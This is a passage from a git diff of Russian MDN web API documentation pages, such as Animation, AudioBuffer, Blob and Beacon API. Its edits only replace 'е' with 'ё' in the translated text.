class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте https://github.com/mdn/browser-compat-data и отправьте нам запрос.</p> +<p class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте https://github.com/mdn/browser-compat-data и отправьте нам запрос.</p> <p>{{Compat("api.ANGLE_instanced_arrays")}}</p> diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html index d1deb15f99..fbe650d434 100644 --- a/files/ru/web/api/animation/index.html +++ b/files/ru/web/api/animation/index.html @@ -11,33 +11,33 @@ translation_of: Web/API/Animation <dl> <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt> - <dd>Создает новый экземпляр объекта <code>Animation.</code></dd> + <dd>Создаёт новый экземпляр объекта <code>Animation.</code></dd> </dl> <h2 id="Свойства">Свойства</h2> <dl> <dt>{{domxref("Animation.currentTime")}}</dt> - <dd>Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.</dd> + <dd>Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или ещё не воспроизведена, то это значение равно нулю.</dd> </dl> <dl> <dt>{{domxref("Animation.effect")}}</dt> - <dd>Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.</dd> + <dd>Возвращает и задаёт {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.</dd> <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt> - <dd>Возвращает текущее завершенное Promise(обещание) для этой анимации.</dd> + <dd>Возвращает текущее завершённое Promise(обещание) для этой анимации.</dd> </dl> <dl> <dt>{{domxref("Animation.id")}}</dt> - <dd>Возвращает и задает String(строку), используемую для идентификации анимации.</dd> + <dd>Возвращает и задаёт String(строку), используемую для идентификации анимации.</dd> <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt> <dd>Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.</dd> </dl> <dl> <dt>{{domxref("Animation.playbackRate")}}</dt> - <dd>Возвращает или задает скорость воспроизведения анимации.</dd> + <dd>Возвращает или задаёт скорость воспроизведения анимации.</dd> </dl> <dl> @@ -47,21 +47,21 @@ translation_of: Web/API/Animation <dl> <dt>{{domxref("Animation.startTime")}}</dt> - <dd>Возвращает или задает начало выполнения анимации.</dd> + <dd>Возвращает или задаёт начало выполнения анимации.</dd> </dl> <dl> <dt>{{domxref("Animation.timeline")}}</dt> - <dd>Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.</dd> + <dd>Возвращает или задаёт {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.</dd> </dl> <h3 id="Обработчики_событий">Обработчики событий</h3> <dl> <dt>{{domxref("Animation.oncancel")}}</dt> - <dd>Возвращает и задает обработчик событий для отмены события.</dd> + <dd>Возвращает и задаёт обработчик событий для отмены события.</dd> <dt>{{domxref("Animation.onfinish")}}</dt> - <dd>Возвращает и задает обработчик событий для завершения события.</dd> + <dd>Возвращает и задаёт обработчик событий для завершения события.</dd> </dl> <h2 id="Методы">Методы</h2> @@ -70,7 +70,7 @@ translation_of: Web/API/Animation <dt>{{domxref("Animation.cancel()")}}</dt> <dd>Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.</dd> <dt>{{domxref("animation.commitStyles()")}}</dt> - <dd>Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.</dd> + <dd>Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведёт к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.</dd> </dl> <dl> @@ -94,7 +94,7 @@ translation_of: Web/API/Animation <dt>{{domxref("Animation.reverse()")}}</dt> <dd>Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.</dd> <dt>{{domxref("Animation.updatePlaybackRate()")}}</dt> - <dd>Задает скорость анимации после синхронизации ее положения воспроизведения.</dd> + <dd>Задаёт скорость анимации после синхронизации её положения воспроизведения.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html index 303090a17a..c8e1ce971a 100644 --- a/files/ru/web/api/attr/index.html +++ b/files/ru/web/api/attr/index.html @@ -17,23 +17,23 @@ translation_of: Web/API/Attr <dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt> <dd>Имя атрибута.</dd> <dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt> - <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>представление URI пространства имен атрибута, или NULL если нет никакого пространства имен.</dd> + <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>представление URI пространства имён атрибута, или NULL если нет никакого пространства имен.</dd> <dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt> <dd>{{domxref("DOMString")}} представление локальной части полного имени атрибута.</dd> <dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt> - <dd>{{domxref("DOMString")}} представление префикс пространства имен атрибута, или NULL, если префикс не указан.</dd> + <dd>{{domxref("DOMString")}} представление префикс пространства имён атрибута, или NULL, если префикс не указан.</dd> <dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt> <dd> <p>Элемент, содержащий атрибут.</p> <div class="note"> - <p><strong>Примечание:</strong> DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент. Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввел это свойство. </p> + <p><strong>Примечание:</strong> DOM уровень 4 удалил это свойство.Предполагалось, что, поскольку Вы получаете объект Attr от {{domxref("Element")}}, вы заранее должны знать связанный элемент. Поскольку это не верно в случаях, подобных объектам Attr, возвращаемым {{domxref("Document.evaluate")}}, DOM уровень жизни вновь ввёл это свойство. </p> <p>Gecko выводит предупреждение об использовании, начиная с Gecko 7.0 {{geckoRelease("7.0")}}. Это предупреждение было удалено в Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).</p> </div> </dd> <dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt> - <dd>Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определен в исходном коде или сценарием и false, если ее значение прибыло из значения по умолчанию определенном в DTD документе.</dd> + <dd>Это свойство всегда возвращает true. Первоначально, оно возвращало true, если атрибут был явно определён в исходном коде или сценарием и false, если её значение прибыло из значения по умолчанию определённом в DTD документе.</dd> <dt>{{domxref("Attr.value", "value")}}</dt> <dd>Значение атрибута</dd> </dl> @@ -74,7 +74,7 @@ translation_of: Web/API/Attr <dt><code>previousSibling</code></dt> <dd>Это свойство всегда возвращает значение <code>NULL</code>.</dd> <dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt> - <dd>Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадежным, если узел был перемещен.</dd> + <dd>Сведения о типе, связанные с этим атрибутом. В то время как информация о типе, содержащаяся в этом атрибуте, гарантированно будет правильной после загрузки документа или вызова {{domxref("Document.normalizeDocument")}}, это свойство может быть ненадёжным, если узел был перемещен.</dd> <dt> </dt> <dt><code>specified</code></dt> <dd>Это свойство всегда возвращает значение <code>true</code>.</dd> diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html index b2972a1f78..f2d6e5e0e4 100644 --- a/files/ru/web/api/audiobuffer/index.html +++ b/files/ru/web/api/audiobuffer/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/AudioBuffer <div> <h2 id="Сводка">Сводка</h2> -<p><code>AudioBuffer</code> - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещенные в AudioBuffer звуковые данные могут быть воспроизведены в {{ domxref("AudioBufferSourceNode") }}.</p> +<p><code>AudioBuffer</code> - это интерфейс короткого звукового ресурса (audio asset), находящегося в памяти и созданного из аудиофайла методом {{ domxref("AudioContext.decodeAudioData()") }}, или из исходных данных с помощью метода {{ domxref("AudioContext.createBuffer()") }}. Помещённые в AudioBuffer звуковые данные могут быть воспроизведены в {{ domxref("AudioBufferSourceNode") }}.</p> </div> <p>Объекты этого типа предназначены для хранения небольших звуковых фрагментов, обычно менее 45 секунд. Для более длинных звуков, объекты реализующие {{domxref("MediaElementAudioSourceNode")}} являются более подходящими. Этот буфер содержит данные в формате неперемещаемого IEE754 32-битного линейного ИКМ с номинальным диапазоном от -1 до +1, то есть 32-битный буфер с плавающей точкой каждого звукового фрагмента (samples) от -1.0 до 1.0. Если {{domxref("AudioBuffer")}} имеет несколько каналов, то они хранятся в отдельном буфере.</p> @@ -17,7 +17,7 @@ translation_of: Web/API/AudioBuffer <dl> <dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt> - <dd><span class="hidden"> </span>Создает и возвращает новый объект <code>AudioBuffer</code>.</dd> + <dd><span class="hidden"> </span>Создаёт и возвращает новый объект <code>AudioBuffer</code>.</dd> <dt> <h2 id="Свойства"><span class="hidden"> </span>Свойства</h2> </dt> @@ -49,7 +49,7 @@ translation_of: Web/API/AudioBuffer <pre class="brush: js;highlight:[7,14,27]">// Стерео var channels = 2; -// Создает пустой двухсекундный стерео-буфер +// Создаёт пустой двухсекундный стерео-буфер // с частотой звука AudioContext (sample rate) var frameCount = audioCtx.sampleRate * 2.0; var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate); diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html index 87e504f6c6..6693ef14dc 100644 --- a/files/ru/web/api/audiocontext/createmediaelementsource/index.html +++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html @@ -42,11 +42,11 @@ var myScript = document.querySelector('script'); pre.innerHTML = myScript.innerHTML; -// Создаем MediaElementAudioSourceNode +// Создаём MediaElementAudioSourceNode // На основе HTMLMediaElement var source = audioCtx.createMediaElementSource(myAudio); -// Создаем узел контроля громкости (усиления) +// Создаём узел контроля громкости (усиления) var gainNode = audioCtx.createGain(); // Переменные, содержащие Y координату курсора мыши diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html index 17b32839d0..ad057ccfe6 100644 --- a/files/ru/web/api/audiocontext/index.html +++ b/files/ru/web/api/audiocontext/index.html @@ -66,7 +66,7 @@ translation_of: Web/API/AudioContext <dt>{{domxref("AudioContext.createOscillator()")}}</dt> <dd>Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.</dd> <dt>{{domxref("AudioContext.createPanner()")}}</dt> - <dd>Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.</dd> + <dd>Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трёхмерном пространстве.</dd> <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt> <dd>Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.</dd> <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt> diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html index f4b7693230..57b2f450a2 100644 --- a/files/ru/web/api/audionode/index.html +++ b/files/ru/web/api/audionode/index.html @@ -4,7 +4,7 @@ slug: Web/API/AudioNode translation_of: Web/API/AudioNode --- <p>{{ APIRef("Web Audio API") }}<br> - <strong>AudioNode </strong>это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). </p> + <strong>AudioNode </strong>это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приёмники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). </p> <p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p> @@ -25,7 +25,7 @@ translation_of: Web/API/AudioNode <dl> <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt> - <dd>Возвращает количество входов узла. Узлы определенные как источники имеют <code>numberOfInputs</code> равное 0.</dd> + <dd>Возвращает количество входов узла. Узлы определённые как источники имеют <code>numberOfInputs</code> равное 0.</dd> </dl> <dl> @@ -56,7 +56,7 @@ translation_of: Web/API/AudioNode <dt>{{domxref("AudioNode.connect(AudioParam)")}}</dt> <dd>Позволяет нам подключить один выход данного узла на параметрический вход другого.</dd> <dt>{{domxref("AudioNode.disconnect()")}}</dt> - <dd>Позволяет нам отключить текущий узел от другого, уже подключенного узла.</dd> + <dd>Позволяет нам отключить текущий узел от другого, уже подключённого узла.</dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html index f60d3e7d99..202e13d971 100644 --- a/files/ru/web/api/audioparam/setvalueattime/index.html +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/AudioParam/setValueAtTime --- <p>{{ APIRef("Web Audio API") }}</p> -<p class="summary"><code>setValueAtTime()</code> метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.</p> +<p class="summary"><code>setValueAtTime()</code> метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение <code>AudioParam</code> , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение даётся в значении параметра.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/baseaudiocontext/createpanner/index.html b/files/ru/web/api/baseaudiocontext/createpanner/index.html index 83a8089d44..9d4161e184 100644 --- a/files/ru/web/api/baseaudiocontext/createpanner/index.html +++ b/files/ru/web/api/baseaudiocontext/createpanner/index.html @@ -24,13 +24,13 @@ var panner = audioCtx.createPanner();</pre> <h2 id="Пример">Пример</h2> <div class="note_trans"> -<div>Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода <code>createPanner()</code> для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями <code>moveRight()</code>, <code>moveLeft()</code>, и т.п., которые устанавливают новые значения для положения паннера через функцию <code>PositionPanner()</code>.</div> +<div>Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода <code>createPanner()</code> для управления пространством объёмного звука. Обычно определяется положение в трёхмерном пространстве, изначально занимаемое обработчиком (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями <code>moveRight()</code>, <code>moveLeft()</code>, и т.п., которые устанавливают новые значения для положения паннера через функцию <code>PositionPanner()</code>.</div> <div> </div> <div> <div class="note_trans"> -<div>Чтобы увидеть полную реализацию ознакомьтесь с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">примером panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотрите весь список примеров</a>) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на <a class="popupspot">бумбоксе</a> и затем походить вокруг него и посмотреть как изменяется звук!</div> +<div>Чтобы увидеть полную реализацию ознакомьтесь с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">примером panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотрите весь список примеров</a>) — эта демонстрация перенесёт вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на <a class="popupspot">бумбоксе</a> и затем походить вокруг него и посмотреть как изменяется звук!</div> <div> </div> </div> diff --git a/files/ru/web/api/beacon_api/index.html b/files/ru/web/api/beacon_api/index.html index 984c00117d..1e33abb3df 100644 --- a/files/ru/web/api/beacon_api/index.html +++ b/files/ru/web/api/beacon_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Beacon_API <p>Например, вариантом использования Beacon API может быть логирование активности или отправка аналитики на сервер.</p> -<p>Пример кода интерфейсов, описанных в этом документе, включен в раздел <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">Использование Beacon API</a></em>.</p> +<p>Пример кода интерфейсов, описанных в этом документе, включён в раздел <em><a href="/Web/API/Beacon_API/Using_the_Beacon_API">Использование Beacon API</a></em>.</p> @@ -23,11 +23,11 @@ translation_of: Web/API/Beacon_API <p>Интерфейс <code>Beacon</code> отвечает потребностям аналитического и диагностического кода, который обычно пытается отправить данные на веб-сервер перед выгрузкой документа. Отправка данных хоть на секунду раньше может привести к упущенной возможности сбора данных. В любом случае, обеспечение того, чтобы данные отправлялись во время выгрузки документа, является чем-то, что традиционно было трудным для разработчиков.</p> -<p>Пользовательские браузеры обычно игнорируют асинхронные {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создает синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. </p> +<p>Пользовательские браузеры обычно игнорируют асинхронные {{domxref("XMLHttpRequest","XMLHttpRequests")}} сделанные в обработчике выгрузки. Для решения этой проблемы, аналитический и диагностический код обычно создаёт синхронный {{domxref("XMLHttpRequest")}} в обработчике {{event("unload")}} или {{event("beforeunload")}} для отправки данных. Синхронный {{domxref("XMLHttpRequest")}} заставляет браузер отложить выгрузку документа и делает следующую навигацию более медленной. Следующая страница ничего не может сделать, чтобы избежать этого ощущения низкой производительности при загрузке страницы. </p> -<p>Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путем создания элемента Image и установки его атрибута <code>src</code> в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.</p> +<p>Есть и другие методы, используемые для проверки предоставления данных. Одним из таких методов является задержка отправки данных путём создания элемента Image и установки его атрибута <code>src</code> в обработчике выгрузки. Поскольку большинство браузеров откладывают выгрузку для завершения ожидающей загрузки изображения, данные могут быть отправлены во время выгрузки. Другой метод заключается в создании неработающего цикла, который в течение нескольких секунд будет висеть в обработчике выгрузки, чтобы задержать выгрузку и отправить данные на сервер.</p> -<p>Эти методы представляют плохие шаблоны программирования, некоторые из них ненадежны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.</p> +<p>Эти методы представляют плохие шаблоны программирования, некоторые из них ненадёжны и приводят к восприятию плохой производительности при загрузке страницы для следующей навигации. API-интерфейс Beacon предоставляет стандартный способ решения этих проблем.</p> <h2 id="Глобальный_контекст">Глобальный контекст</h2> diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index a9359fddfe..ab241f8f1d 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/BeforeInstallPromptEvent <dl> <dt>{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}</dt> - <dd>Создает новый <code><strong>BeforeInstallPromptEvent</strong></code>.</dd> + <dd>Создаёт новый <code><strong>BeforeInstallPromptEvent</strong></code>.</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html index b1ed2d7bc1..6969b073ff 100644 --- a/files/ru/web/api/blob/blob/index.html +++ b/files/ru/web/api/blob/blob/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Blob/Blob --- <p>{{APIRef("File API")}}</p> -<p><code><font face="Open Sans, Arial, sans-serif">Конструктор </font><strong>Blob()</strong></code> возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединенных значений, переданных в параметре <em>array</em>.</p> +<p><code><font face="Open Sans, Arial, sans-serif">Конструктор </font><strong>Blob()</strong></code> возвращает новый объект {{domxref("Blob")}}. Содержимое blob состоит из объединённых значений, переданных в параметре <em>array</em>.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html index a256ce6a5f..445e8da297 100644 --- a/files/ru/web/api/blob/index.html +++ b/files/ru/web/api/blob/index.html @@ -73,7 +73,7 @@ var myBlob = builder.getBlob('text/xml'); <h3 id="Создание_URL_для_содержимого_типизированного_массива">Создание URL для содержимого типизированного массива</h3> -<p>Следующий код создает типизированный массив JavaScript и создает новый <code>Blob</code>, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.</p> +<p>Следующий код создаёт типизированный массив JavaScript и создаёт новый <code>Blob</code>, содержащий данные типизированного массива. Затем вызывается {{DOMxRef("URL.createObjectURL()")}} для преобразования blob в {{glossary("URL")}}.</p> <h4 id="HTML">HTML</h4> @@ -84,7 +84,7 @@ var myBlob = builder.getBlob('text/xml'); <h4 id="JavaScript">JavaScript</h4> -<p>Основной частью этого кода для примера является функция <code>typedArrayToURL()</code>, которая создает <code>Blob</code> из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).</p> +<p>Основной частью этого кода для примера является функция <code>typedArrayToURL()</code>, которая создаёт <code>Blob</code> из переданного типизированного массива и возвращает объект URL для него. Преобразовав данные в URL объекта, их можно использовать несколькими способами, в том числе, в качестве значения атрибута {{htmlattrxref("src", "img")}} элементов {{HTMLElement("img")}} (конечно, при условии, что данные содержат изображение).</p> <pre class="brush: js">function typedArrayToURL(typedArray, mimeType) { return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType})) diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html index f0e5eaf4df..384577a82c 100644 --- a/files/ru/web/api/blob/slice/index.html +++ b/files/ru/web/api/blob/slice/index.html @@ -17,9 +17,9 @@ translation_of: Web/API/Blob/slice <dl> <dt><code>start</code> {{optional_inline}}</dt> - <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, включенный в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение <code>start</code>, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.</dd> + <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, включённый в новый {{domxref("Blob")}}. Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно 0. Если указать значение <code>start</code>, которое больше размера источника {{domxref("Blob")}}, размер возвращаемого {{domxref("Blob")}} будет равен 0 и не будет содержать данных.</dd> <dt><code>end</code> {{optional_inline}}</dt> - <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, который <strong>не</strong> будет включен в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включен). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно <code>size</code>.</dd> + <dd>Индекс в {{domxref("Blob")}} указывающий первый байт, который <strong>не</strong> будет включён в новый {{domxref("Blob")}} (т.е. байт с этим индексом не будет включён). Если указать отрицательное значение, это будет рассматриваться, как смещение с конца строки к началу. К примеру, -10 будет 10-ым от последнего байта {{domxref("Blob")}}. Значение по умолчанию равно <code>size</code>.</dd> <dt><code>contentType</code> {{optional_inline}}</dt> <dd>Тип содержимого нового {{domxref("Blob")}}; это будет значение его свойства <code>type</code>. Значение по умолчанию - пустая строка.</dd> </dl> diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html index f99ea7c5c1..3f5fad78b7 100644 --- a/files/ru/web/api/bluetoothremotegattserver/index.html +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer --- <div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div> -<p>Интерфейс <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся к <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, представляет сервер GATT на удаленном устройстве.</p> +<p>Интерфейс <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся к <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, представляет сервер GATT на удалённом устройстве.</p> <div class="note"> <p>Данная страница описывает Web Bluetooth API от W3C Community Group. <a href="/en-US/docs/Archive/B2G_OS/API/BluetoothGattServer"><code>BluetoothGattServer</code> (Firefox OS)</a> - Bluetooth API в Firefox OS.</p> diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html index 7aff670eb7..31402b8a22 100644 --- a/files/ru/web/api/body/arraybuffer/index.html +++ b/files/ru/web/api/body/arraybuffer/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Body/arrayBuffer --- <div>{{APIRef("Fetch")}}</div> -<p>Метод <strong><code>arrayBuffer()</code></strong> из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершен с помощью {{domxref("ArrayBuffer")}}.</p> +<p>Метод <strong><code>arrayBuffer()</code></strong> из примеси(mixin) {{domxref("Body")}} берет поток(stream) {{domxref("Response")}} и читает его до завершения. Он возвращает промис, который будет успешно завершён с помощью {{domxref("ArrayBuffer")}}.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -32,9 +32,9 @@ translation_of: Web/API/Body/arrayBuffer <pre class="brush: js">new Audio(music.ogg).play() </pre> -<p>В функции <code>getData()</code> мы создаем новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя <code>arrayBuffer()</code>, декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (<code>source.buffer</code>), затем используем данные этого ресурса в {{domxref("AudioContext.destination")}}.</p> +<p>В функции <code>getData()</code> мы создаём новый запрос используя конструктор {{domxref("Request.Request")}}, после этого используем его чтобы загрузить OGG звук. Мы также используем {{domxref("AudioContext.createBufferSource")}} чтобы создать ресурс аудиобуффера. При успешном завершении запроса, мы считываем {{domxref("ArrayBuffer")}} из ответа используя <code>arrayBuffer()</code>, декодируем аудио с помощью {{domxref("AudioContext.decodeAudioData")}}, устанавливаем раскодированные данные как ресурс аудио буфера (<code>source.buffer</code>), затем используем данные этого ресурса в {{domxref("AudioContext.destination")}}.</p> -<p>Когда функция <code>getData()</code> заканчивает свое выполнение, мы стартуем проигрывание аудио ресурса функцией <code>start(0)</code>, потом блокируем кнопку проигрывания для предотвращения повторного проигрывания (это может привести к ошибкам)</p> 